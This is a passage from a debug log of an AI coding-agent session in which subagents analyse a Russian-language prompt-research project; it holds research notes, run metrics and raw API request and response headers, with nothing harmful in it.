\u0431\u043e\u043b\u0435\u0435\\n\u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u0442\u043e \u0435\u0441\u0442\u044c \u0443 \u0444\u043e\u0440\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0432\u044b\u043a\u00bb\\n\u0435\u0441\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.\\n\\n## \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0437\u0430\u043c\u0435\u0440\u0430\\n\\n- \u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0438\u0449\u0443\u0442\u0441\u044f \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438. \u0417\u0430\u043c\u0435\u0440 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438** \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430, \u0430 \u043d\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u0440\u0430.\\n- \u041a\u043b\u0430\u0441\u0441\u044b \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044e \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432 \u0448\u0430\u043f\u043a\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f; \u0441\u043b\u043e\u0432\u0430\u0440\u044c\\n  \u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0432\u044b\u0445\u043e\u0434\u0430\u043c\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432, \u0430 \u043d\u0435 \u0432\u0441\u0435.\\n- \u041a\u043e\u0440\u043f\u0443\u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043f\u043e [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u0444\u043e\u0440\u043c\u044b \u0431\u044b\u0442\u044c \u0432\u043f\u0440\u0430\u0432\u0435, \u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u043d\u043e\u0440\u043c\u044b \u2014 \u043d\u0435\u0442. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 `F4`\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, **\u043a\u0430\u043a \u0440\u0435\u0436\u0438\u043c\u044b \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u043b\u0438\u0441\u044c \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435**, \u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0442\u0430\u043a\\n  \u0438 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0445 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c; \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\\n  ([ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)).\\n- \u0421\u043d\u0438\u043c\u043e\u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0442\u0430\u043a **\u043e\u043f\u0438\u0441\u0430\u043d\u0430**, \u0430 \u043d\u0435 \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0430\u043a\\n  \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.\\n- `F6` \u0438 `F7` \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u044d\u0442\u043e\u0433\u043e \u0436\u0435 PR: \u044d\u0442\u043e \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435\\n  \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e.\",\n[2026-09-29T07:45:13.312Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:13.312Z] [INFO]       }\n[2026-09-29T07:45:13.312Z] [INFO]     ]\n[2026-09-29T07:45:13.312Z] [INFO]   },\n[2026-09-29T07:45:13.312Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"uuid\": \"1b7d5ac2-4313-4d5b-9296-7326a3939431\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:13.298Z\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:13.312Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:13.312Z] [INFO] }\n[2026-09-29T07:45:13.332Z] [STDOUT] [log_896ae5] sending request {\n[2026-09-29T07:45:13.344Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:13.353Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:13.359Z] [STDOUT]   options: {\n[2026-09-29T07:45:13.376Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:13.381Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:13.401Z] [STDOUT]     body: {\n[2026-09-29T07:45:13.418Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:13.423Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:13.430Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:13.435Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:13.441Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:13.447Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:13.453Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:13.456Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:13.460Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:13.464Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:13.468Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:13.474Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:13.481Z] [STDOUT]     },\n[2026-09-29T07:45:13.485Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:13.494Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:13.499Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:13.502Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:13.504Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:13.508Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:13.510Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:13.513Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:13.517Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:13.521Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:13.524Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:13.527Z] [STDOUT]     },\n[2026-09-29T07:45:13.531Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:13.535Z] [STDOUT]   },\n[2026-09-29T07:45:13.538Z] [STDOUT]   headers: {\n[2026-09-29T07:45:13.544Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:13.547Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:13.552Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:13.556Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:13.559Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:13.562Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:13.567Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:13.570Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:13.574Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:13.577Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:13.582Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:13.588Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1081\",\n[2026-09-29T07:45:13.595Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:13.599Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:13.603Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.607Z] [STDOUT]     \"x-client-request-id\": \"799bdf82-e340-4b91-abac-60121f9b52e5\",\n[2026-09-29T07:45:13.609Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:13.612Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:13.616Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:13.622Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:13.626Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:13.633Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:13.639Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:13.644Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:13.648Z] [STDOUT]   },\n[2026-09-29T07:45:13.654Z] [STDOUT] }\n[2026-09-29T07:45:13.657Z] [INFO] {\n[2026-09-29T07:45:13.657Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"message\": {\n[2026-09-29T07:45:13.657Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:13.657Z] [INFO]     \"content\": [\n[2026-09-29T07:45:13.657Z] [INFO]       {\n[2026-09-29T07:45:13.657Z] [INFO]         \"tool_use_id\": \"toolu_01LQTJmu9zTpsJ2uCFEMMevK\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"content\": \"\\nOutput too large (41.7KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bow19uhtn.txt\\n\\nPreview (first 2KB):\\n    verdict works-with-edits\\n    success_rate 0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438; \u043e\u0446\u0435\u043d\u043a\u0430 \u043f\u043e \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c \u0432 \u0440\u0435\u043f\u043b\u0438\u043a\u0430\u0445 \u0411\u0410, \u0441\u043c. logs/experiment-log.md)\\n    tokens_input 79405522\\n    tokens_output 543180\\n    duration 2026-06-18 \u2192 2026-07-31 (10 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0434\u043d\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0439, 44 \u043a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u043d\u044b\u0445 \u0434\u043d\u044f)\\n    turns 242\\nRUN-0014 {\\\"measured\\\": true, \\\"source\\\": \\\"runs/2026/RUN-0014/inputs/chat-export-1075.json\\\", \\\"started_at\\\": \\\"2026-07-24T07:31:06Z\\\", \\\"finished_at\\\": \\\"2026-07-24T08:06:20Z\\\", \\\"duration_seconds\\\": 2114, \\\"tokens\\\": {\\\"input\\\": 195948, \\\"output\\\": 11551, \\\"total\\\": 207499, \\\"reasoning\\\": 8860, \\\"cached\\\": 59136}, \\\"iterations\\\": 4, \\\"steps_planned\\\": 4, \\\"steps_completed\\\": 1, \\\"success_rate\\\": 0.25, \\\"eval\\\": {\\\"verdict\\\": \\\"works-with-edits\\\", \\\"quality\\\": 2, \\\"target_artifact\\\": \\\"not-produced\\\", \\\"defects\\\": 5, \\\"factual_distortions\\\": 1}}\\nRUN-0015 {\\\"turns\\\": 20, \\\"episodes\\\": 10, \\\"iterations\\\": 10, \\\"ba_edits\\\": 6, \\\"quality\\\": 3, \\\"verdict\\\": \\\"works-with-edits\\\", \\\"success_rate\\\": 0.8, \\\"success_rate_basis\\\": \\\"8 \u0438\u0437 10 \u044d\u043f\u0438\u0437\u043e\u0434\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0441 \u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u0438\u043b\u0438 \u0431\u0435\u0437; \u0432 \u044d\u043f\u0438\u0437\u043e\u0434\u0435 2 \u043e\u0442\u043a\u043b\u043e\u043d\u0451\u043d \u0431\u043b\u043e\u043a \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u041d\u0424\u0422 \u0438 API-\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (\u0440\u0435\u043f\u043b\u0438\u043a\u0430 4: \u00ab\u0440\u0430\u0437\u0434\u0435\u043b 3 - \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb, \u00ab5 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u00bb), \u0432 \u044d\u043f\u0438\u0437\u043e\u0434\u0435 7 \u0411\u0410 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044e \u043c\u043e\u0434\u0435\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0442\u0435\u0440\u043c\u0438\u043d \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u043e\u00bb \u043d\u0430 \u00ab\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438\u00bb (\u0440\u0435\u043f\u043b\u0438\u043a\u0430 12: \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u043e ... \u043e\u0441\u0442\u0430\u0432\u0438\u043c\u00bb)\\\", \\\"hallucinations\\\": 2, \\\"hallucinations_shipped\\\": 0, \\\"tokens_output\\\": [REDACTED], \\\"tokens_thinking\\\": [REDACTED], \\\"tokens_context_in_max\\\": [REDACTED], \\\"tokens_context_refeed_sum\\\": [REDACTED], \\\"token_method\\\": \\\"pro\u2026age\\\", \\\"duration_\\n...\\n\",\n[2026-09-29T07:45:13.657Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:13.657Z] [INFO]       }\n[2026-09-29T07:45:13.657Z] [INFO]     ]\n[2026-09-29T07:45:13.657Z] [INFO]   },\n[2026-09-29T07:45:13.657Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"uuid\": \"9ff93452-c158-43d3-a14a-cf23788ecaa9\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:13.402Z\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:13.657Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:13.657Z] [INFO] }\n[2026-09-29T07:45:13.662Z] [STDOUT] [log_fb4c74] sending request {\n[2026-09-29T07:45:13.666Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:13.669Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:13.672Z] [STDOUT]   options: {\n[2026-09-29T07:45:13.675Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:13.681Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:13.687Z] [STDOUT]     body: {\n[2026-09-29T07:45:13.695Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:13.698Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:13.704Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:13.708Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:13.711Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:13.717Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:13.720Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:13.723Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:13.726Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:13.729Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:13.732Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:13.736Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:13.741Z] [STDOUT]     },\n[2026-09-29T07:45:13.746Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:13.750Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:13.757Z] [STDOUT]       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\"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:14.339Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:14.348Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:14.356Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:14.361Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:14.367Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:14.377Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.381Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:14.383Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:14.398Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": 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state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:14.505Z] [STDOUT] [log_896ae5] response parsed {\n[2026-09-29T07:45:14.510Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:14.517Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:14.523Z] [STDOUT]   body: X {\n[2026-09-29T07:45:14.529Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:14.537Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:14.542Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:14.551Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:14.559Z] [STDOUT]     },\n[2026-09-29T07:45:14.570Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:14.589Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:14.596Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:14.600Z] [STDOUT]   },\n[2026-09-29T07:45:14.607Z] [STDOUT]   durationMs: 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\"wire_ingest_context\": {\n[2026-09-29T07:45:14.616Z] [INFO]     \"toolu_018RbiPHnRrUTRZvA6JEDgZq\": {\n[2026-09-29T07:45:14.616Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process\"\n[2026-09-29T07:45:14.616Z] [INFO]     }\n[2026-09-29T07:45:14.616Z] [INFO]   }\n[2026-09-29T07:45:14.616Z] [INFO] }\n[2026-09-29T07:45:14.621Z] [STDOUT] [log_fb4c74, request-id: \"req_011CfXMjvNi8kM174BHGkpko\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 811ms\n[2026-09-29T07:45:14.627Z] [STDOUT] [log_fb4c74] response start {\n[2026-09-29T07:45:14.637Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:14.640Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:14.644Z] [STDOUT]   headers: {\n[2026-09-29T07:45:14.652Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:14.658Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:14.663Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:14.671Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:14.682Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:14.692Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.697Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:14.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:14.712Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:14.730Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:14.744Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:14.755Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:14.761Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:14.767Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:14.773Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:14.777Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:14.784Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:14.790Z] [STDOUT]     \"cf-ray\": \"a4295dfb081c29ad-FRA\",\n[2026-09-29T07:45:14.795Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:14.800Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:14.804Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:14.808Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:14.819Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:14 GMT\",\n[2026-09-29T07:45:14.825Z] [STDOUT]     \"request-id\": \"req_011CfXMjvNi8kM174BHGkpko\",\n[2026-09-29T07:45:14.833Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:14.836Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:14.841Z] [STDOUT]     traceresponse: \"00-1a870d442c0b2b4591c6022c1eba3dfe-d6e22b91c24eb00f-01\",\n[2026-09-29T07:45:14.858Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:14.868Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:14.873Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:14.875Z] [STDOUT]   },\n[2026-09-29T07:45:14.878Z] [STDOUT]   durationMs: 811,\n[2026-09-29T07:45:14.883Z] [STDOUT] }\n[2026-09-29T07:45:14.891Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:14.895Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:14 GMT\",\n[2026-09-29T07:45:14.899Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:14.906Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:14.919Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:14.924Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:14.944Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:14.964Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:14.971Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:14.984Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:15.007Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:15.042Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:15.047Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:15.056Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:15.059Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:15.065Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:15.069Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:15.073Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:15.075Z] 